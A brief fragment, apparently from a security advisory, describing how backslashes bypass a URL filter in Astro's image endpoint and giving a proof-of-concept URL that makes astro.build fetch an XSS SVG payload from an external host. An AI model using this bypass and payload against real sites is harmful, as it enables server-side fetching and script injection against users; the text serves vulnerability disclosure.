The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)",
